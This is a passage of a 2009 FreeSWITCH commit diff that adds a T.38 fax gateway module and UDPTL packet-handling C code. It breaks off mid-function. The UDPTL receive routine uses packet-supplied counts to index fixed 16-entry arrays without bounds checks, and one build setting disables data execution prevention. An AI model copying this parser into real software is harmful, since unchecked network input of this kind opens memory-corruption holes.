+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_t38gateway.c"
+			>
+		</File>
+		<File
+			RelativePath=".\udptl.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,347 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2009, Steve Underwood <steveu@coppice.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Contributor(s):
+ * 
+ * Steve Underwood <steveu@coppice.org>
+ *
+ * mod_t38gateway.c -- A T.38 gateway
+ *
+ * This module uses the T.38 gateway engine of spandsp to create a T.38 gateway suitable for
+ * V.17, V.29, and V.27ter FAX operation.
+ * 
+ */
+
+#include <switch.h>
+
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+#include <spandsp.h>
+#include <spandsp/version.h>
+
+#include "udptl.h"
+
+/*! Syntax of the API call. */
+#define T38GATEWAY_SYNTAX "<uuid> <command>"
+
+/*! Number of expected parameters in api call. */
+#define T38GATEWAY_PARAMS 2
+
+/*! FreeSWITCH CUSTOM event types. */
+#define T38GATEWAY_EVENT_CNG "t38gateway::cng"
+#define T38GATEWAY_EVENT_CED "t38gateway::ced"
+#define T38GATEWAY_EVENT_PAGE "t38gateway::page"
+
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown);
+SWITCH_STANDARD_API(t38gateway_api_main);
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load);
+SWITCH_MODULE_DEFINITION(mod_t38gateway, mod_t38gateway_load, NULL, NULL);
+SWITCH_STANDARD_APP(t38gateway_start_function);
+
+/*! Type that holds codec information. */
+typedef struct {
+    /*! The sampling rate of the audio stream. */
+    int rate;
+    /*! The number of channels. */
+    int channels;
+} t38gateway_codec_info_t;
+
+/*! Type that holds session information pertinent to the t38gateway module. */
+typedef struct {
+    /*! Internal FreeSWITCH session. */
+    switch_core_session_t *session;
+    /*! Codec information for the session. */
+    t38gateway_codec_info_t t38gateway_codec;
+    t38_gateway_state_t *t38;
+    t38_core_state_t *t38_core;
+    udptl_state_t *udptl;
+} t38gateway_session_info_t;
+
+static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
+{
+    t38gateway_session_info_t *t;
+
+    t = (t38gateway_session_info_t *) user_data;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
+{
+    t38gateway_session_info_t *t;
+
+    t = (t38gateway_session_info_t *) user_data;
+    t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+/*! \brief The callback function that is called when new audio data becomes available 
+ *
+ * @author Steve Underwood
+ * @param bug A reference to the media bug.
+ * @param user_data The session information for this call.
+ * @param type The switch callback type.
+ * @return The success or failure of the function.
+ */
+static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
+{
+    t38gateway_session_info_t *t38gateway_info;
+    switch_codec_t *read_codec;
+    switch_frame_t *frame;
+    int16_t *amp;
+
+    t38gateway_info = (t38gateway_session_info_t *) user_data;
+    if (t38gateway_info == NULL) {
+        return SWITCH_FALSE;
+    }
+
+    switch (type) {
+    case SWITCH_ABC_TYPE_INIT:
+        read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
+        t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
+        t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
+        break;
+    case SWITCH_ABC_TYPE_READ_PING:
+    case SWITCH_ABC_TYPE_CLOSE:
+        break;
+    case SWITCH_ABC_TYPE_READ:
+        frame = switch_core_media_bug_get_read_replace_frame(bug);
+        amp = (int16_t *) frame->data;
+        t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
+        break;
+    case SWITCH_ABC_TYPE_WRITE:
+    case SWITCH_ABC_TYPE_READ_REPLACE:
+    case SWITCH_ABC_TYPE_WRITE_REPLACE:
+        break;
+    }
+
+    return SWITCH_TRUE;
+}
+
+/*! \brief FreeSWITCH module loading function 
+ *
+ * @author Steve Underwood
+ * @return Load success or failure.
+ */
+SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
+{
+    switch_application_interface_t *app_interface;
+    switch_api_interface_t *api_interface;
+    /* connect my internal structure to the blank pointer passed to me */
+    *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
+
+    SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
+
+    SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
+
+    /* indicate that the module should continue to be loaded */
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/*! \brief FreeSWITCH application handler function.
+ *  This handles calls made from applications such as LUA and the dialplan
+ *
+ * @author Steve Underwood
+ * @return Success or failure of the function.
+ */
+SWITCH_STANDARD_APP(t38gateway_start_function)
+{
+    switch_media_bug_t *bug;
+    switch_status_t status;
+    switch_channel_t *channel;
+    t38gateway_session_info_t *t38gateway_info;
+
+    if (session == NULL)
+        return;
+
+    channel = switch_core_session_get_channel(session);
+
+    /* Is this channel already set? */
+    bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+    /* If yes */
+    if (bug != NULL) {
+        /* If we have a stop remove audio bug */
+        if (strcasecmp(data, "stop") == 0) {
+            switch_channel_set_private(channel, "_t38gateway_", NULL);
+            switch_core_media_bug_remove(session, &bug);
+            return;
+        }
+
+        /* We have already started */
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+
+        return;
+    }
+
+    t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
+
+    t38gateway_info->session = session;
+    t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+    t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+    t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
+
+    status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
+
+    if (status != SWITCH_STATUS_SUCCESS) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+        return;
+    }
+
+    switch_channel_set_private(channel, "_t38gateway_", bug);
+}
+
+/*! \brief Called when the module shuts down
+ *
+ * @author Steve Underwood
+ * @return The success or failure of the function.
+ */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
+{
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+/*! \brief FreeSWITCH API handler function.
+ *  This function handles API calls such as the ones from mod_event_socket and in some cases
+ *  scripts such as LUA scripts.
+ *
+ *  @author Steve Underwood
+ *  @return The success or failure of the function.
+ */
+SWITCH_STANDARD_API(t38gateway_api_main)
+{
+    switch_core_session_t *t38gateway_session;
+    switch_media_bug_t *bug;
+    t38gateway_session_info_t *t38gateway_info;
+    switch_channel_t *channel;
+    switch_status_t status;
+    int argc;
+    char *argv[T38GATEWAY_PARAMS];
+    char *ccmd;
+    char *uuid;
+    char *command;
+
+    /* No command? Display usage */
+    if (cmd == NULL) {
+        stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+        return SWITCH_STATUS_SUCCESS;
+    }
+
+    /* Duplicated contents of original string */
+    ccmd = strdup(cmd);
+    /* Separate the arguments */
+    argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
+
+    /* If we don't have the expected number of parameters 
+     * display usage */
+    if (argc != T38GATEWAY_PARAMS) {
+        stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+        switch_safe_free(ccmd);
+        return SWITCH_STATUS_SUCCESS;
+    }
+
+    uuid = argv[0];
+    command = argv[1];
+
+    /* using uuid locate a reference to the FreeSWITCH session */
+    t38gateway_session = switch_core_session_locate(uuid);
+
+    /* If the session was not found exit */
+    if (t38gateway_session == NULL) {
+        switch_safe_free(ccmd);
+        stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+        return SWITCH_STATUS_FALSE;
+    }
+
+    /* Get current channel of the session to tag the session
+     * This indicates that our module is present */
+    channel = switch_core_session_get_channel(t38gateway_session);
+
+    /* Is this channel already set? */
+    bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+    /* If yes */
+    if (bug != NULL) {
+        /* If we have a stop remove audio bug */
+        if (strcasecmp(command, "stop") == 0) {
+            switch_channel_set_private(channel, "_t38gateway_", NULL);
+            switch_core_media_bug_remove(t38gateway_session, &bug);
+            switch_safe_free(ccmd);
+            stream->write_function(stream, "+OK\n");
+            return SWITCH_STATUS_SUCCESS;
+        }
+
+        /* We have already started */
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
+
+        switch_safe_free(ccmd);
+        return SWITCH_STATUS_FALSE;
+    }
+
+    /* If we don't see the expected start exit */
+    if (strcasecmp(command, "start") != 0) {
+        switch_safe_free(ccmd);
+        stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+        return SWITCH_STATUS_FALSE;
+    }
+
+    /* Allocate memory attached to this FreeSWITCH session for
+     * use in the callback routine and to store state information */
+    t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(t38gateway_session, sizeof(t38gateway_session_info_t));
+
+    /* Set initial values and states */
+    t38gateway_info->session = t38gateway_session;
+    t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+    t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+    t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
+
+    /* Add a media bug that allows me to intercept the 
+     * reading leg of the audio stream */
+    status = switch_core_media_bug_add(t38gateway_session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
+
+    /* If adding a media bug fails exit */
+    if (status != SWITCH_STATUS_SUCCESS) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+
+        switch_safe_free(ccmd);
+        return SWITCH_STATUS_FALSE;
+    }
+
+    /* Set the t38gateway tag to detect an existing t38gateway media bug */
+    switch_channel_set_private(channel, "_t38gateway_", bug);
+
+    /* Everything went according to plan! Notify the user */
+    stream->write_function(stream, "+OK\n");
+
+    switch_safe_free(ccmd);
+    return SWITCH_STATUS_SUCCESS;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Deleted: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,596 @@
+//#define UDPTL_DEBUG
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2009, Steve Underwood <steveu@coppice.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Contributor(s):
+ * 
+ * Steve Underwood <steveu@coppice.org>
+ *
+ * udptl.c -- UDPTL handling for T.38
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <inttypes.h>
+#include <memory.h>
+
+#include "udptl.h"
+
+#define FALSE 0
+#define TRUE (!FALSE)
+
+static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
+{
+    if (*len >= limit)
+        return -1;
+    if ((buf[*len] & 0x80) == 0)
+    {
+        *pvalue = buf[(*len)++];
+        return 0;
+    }
+    if ((buf[*len] & 0x40) == 0)
+    {
+        if (*len >= limit - 1)
+            return -1;
+        *pvalue = (buf[(*len)++] & 0x3F) << 8;
+        *pvalue |= buf[(*len)++];
+        return 0;
+    }
+    *pvalue = (buf[(*len)++] & 0x3F) << 14;
+    /* Indicate we have a fragment */
+    return 1;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
+{
+    int octet_cnt;
+    int octet_idx;
+    int stat;
+    int i;
+    const uint8_t **pbuf;
+
+    for (octet_idx = 0, *p_num_octets = 0;  ;  octet_idx += octet_cnt)
+    {
+        if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
+            return -1;
+        if (octet_cnt > 0)
+        {
+            *p_num_octets += octet_cnt;
+
+            pbuf = &p_object[octet_idx];
+            i = 0;
+            /* Make sure the buffer contains at least the number of bits requested */
+            if ((*len + octet_cnt) > limit)
+                return -1;
+
+            *pbuf = &buf[*len];
+            *len += octet_cnt;
+        }
+        if (stat == 0)
+            break;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int encode_length(uint8_t *buf, int *len, int value)
+{
+    int multiplier;
+
+    if (value < 0x80)
+    {
+        /* 1 octet */
+        buf[(*len)++] = value;
+        return value;
+    }
+    if (value < 0x4000)
+    {
+        /* 2 octets */
+        /* Set the first bit of the first octet */
+        buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
+        buf[(*len)++] = value & 0xFF;
+        return value;
+    }
+    /* Fragmentation */
+    multiplier = (value < 0x10000)  ?  (value >> 14)  :  4;
+    /* Set the first 2 bits of the octet */
+    buf[(*len)++] = 0xC0 | multiplier;
+    return multiplier << 14;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
+{
+    int enclen;
+    int octet_idx;
+    uint8_t zero_byte;
+
+    /* If open type is of zero length, add a single zero byte (10.1) */
+    if (num_octets == 0)
+    {
+        zero_byte = 0;
+        data = &zero_byte;
+        num_octets = 1;
+    }
+    /* Encode the open type */
+    for (octet_idx = 0;  ;  num_octets -= enclen, octet_idx += enclen)
+    {
+        if ((enclen = encode_length(buf, len, num_octets)) < 0)
+            return -1;
+        if (enclen > 0)
+        {
+            memcpy(&buf[*len], &data[octet_idx], enclen);
+            *len += enclen;
+        }
+        if (enclen >= num_octets)
+            break;
+    }
+
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
+{
+    int stat;
+    int stat2;
+    int i;
+    int j;
+    int k;
+    int l;
+    int m;
+    int x;
+    int limit;
+    int which;
+    int ptr;
+    int count;
+    int total_count;
+    int seq_no;
+    const uint8_t *msg;
+    const uint8_t *data;
+    int msg_len;
+    int repaired[16];
+    const uint8_t *bufs[16];
+    int lengths[16];
+    int span;
+    int entries;
+
+    ptr = 0;
+    /* Decode seq_number */
+    if (ptr + 2 > len)
+        return -1;
+    seq_no = (buf[0] << 8) | buf[1];
+    ptr += 2;
+    /* Break out the primary packet */
+    if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
+        return -1;
+    /* Decode error_recovery */
+    if (ptr + 1 > len)
+        return -1;
+    /* Our buffers cannot tolerate overlength packets */
+    if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
+        return -1;
+    /* Update any missed slots in the buffer */
+    for (i = s->rx_seq_no;  seq_no > i;  i++)
+    {
+        x = i & UDPTL_BUF_MASK;
+        s->rx[x].buf_len = -1;
+        s->rx[x].fec_len[0] = 0;
+        s->rx[x].fec_span = 0;
+        s->rx[x].fec_entries = 0;
+    }
+    /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
+       into FEC mode after sending some redundant packets. */
+    x = seq_no & UDPTL_BUF_MASK;
+    memcpy(s->rx[x].buf, msg, msg_len);
+    s->rx[x].buf_len = msg_len;
+    s->rx[x].fec_len[0] = 0;
+    s->rx[x].fec_span = 0;
+    s->rx[x].fec_entries = 0;
+    if ((buf[ptr++] & 0x80) == 0)
+    {
+        /* Secondary packet mode for error recovery */
+        /* We might have the packet we want, but we need to check through
+           the redundant stuff, and verify the integrity of the UDPTL.
+           This greatly reduces our chances of accepting garbage. */
+        total_count = 0;
+        do
+        {
+            if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
+                return -1;
+            for (i = 0;  i < count;  i++)
+            {
+                if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
+                    return -1;
+            }
+            total_count += count;
+        }
+        while (stat2 > 0);
+        /* We should now be exactly at the end of the packet. If not, this is a fault. */
+        if (ptr != len)
+            return -1;
+        if (seq_no > s->rx_seq_no)
+        {
+            /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
+               secondary packets. */
+            /* Step through in reverse order, so we go oldest to newest */
+            for (i = total_count;  i > 0;  i--)
+            {
+                if (seq_no - i >= s->rx_seq_no)
+                {
+                    /* This one wasn't seen before */
+                    /* Decode the secondary packet */
+#if defined(UDPTL_DEBUG)
+                    fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
+#endif
+                    /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
+                       FEC mode after sending some redundant packets, and this may then be important. */
+                    x = (seq_no - i) & UDPTL_BUF_MASK;
+                    memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
+                    s->rx[x].buf_len = lengths[i - 1];
+                    s->rx[x].fec_len[0] = 0;
+                    s->rx[x].fec_span = 0;
+                    s->rx[x].fec_entries = 0;
+                    if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
+                        fprintf(stderr, "Bad IFP\n");
+                }
+            }
+        }
+    }
+    else
+    {
+        /* FEC mode for error recovery */
+
+        /* Decode the FEC packets */
+        /* The span is defined as an unconstrained integer, but will never be more
+           than a small value. */
+        if (ptr + 2 > len)
+            return -1;
+        if (buf[ptr++] != 1)
+            return -1;
+        span = buf[ptr++];
+
+        x = seq_no & UDPTL_BUF_MASK;
+
+        s->rx[x].fec_span = span;
+
+        memset(repaired, 0, sizeof(repaired));
+        repaired[x] = TRUE;
+
+        /* The number of entries is defined as a length, but will only ever be a small
+           value. Treat it as such. */
+        if (ptr + 1 > len)
+            return -1;
+        entries = buf[ptr++];
+        s->rx[x].fec_entries = entries;
+
+        /* Decode the elements */
+        for (i = 0;  i < entries;  i++)
+        {
+            if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
+                return -1;
+            if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
+                return -1;
+
+            /* Save the new FEC data */
+            memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
+#if 0
+            fprintf(stderr, "FEC: ");
+            for (j = 0;  j < s->rx[x].fec_len[i];  j++)
+                fprintf(stderr, "%02X ", data[j]);
+            fprintf(stderr, "\n");
+#endif
+        }
+        /* We should now be exactly at the end of the packet. If not, this is a fault. */
+        if (ptr != len)
+            return -1;
+        /* See if we can reconstruct anything which is missing */
+        /* TODO: this does not comprehensively hunt back and repair everything that is possible */
+        for (l = x;  l != ((x - (16 - span*entries)) & UDPTL_BUF_MASK);  l = (l - 1) & UDPTL_BUF_MASK)
+        {
+            if (s->rx[l].fec_len[0] <= 0)
+                continue;
+            for (m = 0;  m < s->rx[l].fec_entries;  m++)
+            {
+                limit = (l + m) & UDPTL_BUF_MASK;
+                for (which = -1, k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK;  k != limit;  k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
+                {
+                    if (s->rx[k].buf_len <= 0)
+                        which = (which == -1)  ?  k  :  -2;
+                }
+                if (which >= 0)
+                {
+                    /* Repairable */
+                    for (j = 0;  j < s->rx[l].fec_len[m];  j++)
+                    {
+                        s->rx[which].buf[j] = s->rx[l].fec[m][j];
+                        for (k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK;  k != limit;  k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
+                            s->rx[which].buf[j] ^= (s->rx[k].buf_len > j)  ?  s->rx[k].buf[j]  :  0;
+                    }
+                    s->rx[which].buf_len = s->rx[l].fec_len[m];
+                    repaired[which] = TRUE;
+                }
+            }
+        }
+        /* Now play any new packets forwards in time */
+        for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK;  l != x;  l = (l + 1) & UDPTL_BUF_MASK, j++)
+        {
+            if (repaired[l])
+            {
+#if defined(UDPTL_DEBUG)
+                fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
+#endif
+                if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
+                    fprintf(stderr, "Bad IFP\n");
+            }
+        }
+    }
+    /* If packets are received out of sequence, we may have already processed this packet from the error
+       recovery information in a packet already received. */
+    if (seq_no >= s->rx_seq_no)
+    {
+        /* Decode the primary packet */
+#if defined(UDPTL_DEBUG)
+        fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
+#endif
+        if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
+            fprintf(stderr, "Bad IFP\n");
+    }
+
+    s->rx_seq_no = (seq_no + 1) & 0xFFFF;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
+{
+    uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
+    int i;
+    int j;
+    int seq;
+    int entry;
+    int entries;
+    int span;
+    int m;
+    int len;
+    int limit;
+    int high_tide;
+
+    /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
+       maximum length. */
+    if (msg_len < 1  ||  msg_len > LOCAL_FAX_MAX_DATAGRAM)
+        return -1;
+    seq = s->tx_seq_no & 0xFFFF;
+
+    /* Map the sequence number to an entry in the circular buffer */
+    entry = seq & UDPTL_BUF_MASK;
+
+    /* We save the message in a circular buffer, for generating FEC or
+       redundancy sets later on. */
+    s->tx[entry].buf_len = msg_len;
+    memcpy(s->tx[entry].buf, msg, msg_len);
+    
+    /* Build the UDPTL packet */
+
+    len = 0;
+    /* Encode the sequence number */
+    buf[len++] = (seq >> 8) & 0xFF;
+    buf[len++] = seq & 0xFF;
+
+    /* Encode the primary packet */
+    if (encode_open_type(buf, &len, msg, msg_len) < 0)
+        return -1;
+
+    /* Encode the appropriate type of error recovery information */
+    switch (s->error_correction_scheme)
+    {
+    case UDPTL_ERROR_CORRECTION_NONE:
+        /* Encode the error recovery type */
+        buf[len++] = 0x00;
+        /* The number of entries will always be zero, so it is pointless allowing
+           for the fragmented case here. */
+        if (encode_length(buf, &len, 0) < 0)
+            return -1;
+        break;
+    case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+        /* Encode the error recovery type */
+        buf[len++] = 0x00;
+        if (s->tx_seq_no > s->error_correction_entries)
+            entries = s->error_correction_entries;
+        else
+            entries = s->tx_seq_no;
+        /* The number of entries will always be small, so it is pointless allowing
+           for the fragmented case here. */
+        if (encode_length(buf, &len, entries) < 0)
+            return -1;
+        /* Encode the elements */
+        for (i = 0;  i < entries;  i++)
+        {
+            j = (entry - i - 1) & UDPTL_BUF_MASK;
+            if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
+                return -1;
+        }
+        break;
+    case UDPTL_ERROR_CORRECTION_FEC:
+        span = s->error_correction_span;
+        entries = s->error_correction_entries;
+        if (seq < s->error_correction_span*s->error_correction_entries)
+        {
+            /* In the initial stages, wind up the FEC smoothly */
+            entries = seq/s->error_correction_span;
+            if (seq < s->error_correction_span)
+                span = 0;
+        }
+        /* Encode the error recovery type */
+        buf[len++] = 0x80;
+        /* Span is defined as an inconstrained integer, which it dumb. It will only
+           ever be a small value. Treat it as such. */
+        buf[len++] = 1;
+        buf[len++] = span;
+        /* The number of entries is defined as a length, but will only ever be a small
+           value. Treat it as such. */
+        buf[len++] = entries;
+        for (m = 0;  m < entries;  m++)
+        {
+            /* Make an XOR'ed entry the maximum length */
+            limit = (entry + m) & UDPTL_BUF_MASK;
+            high_tide = 0;
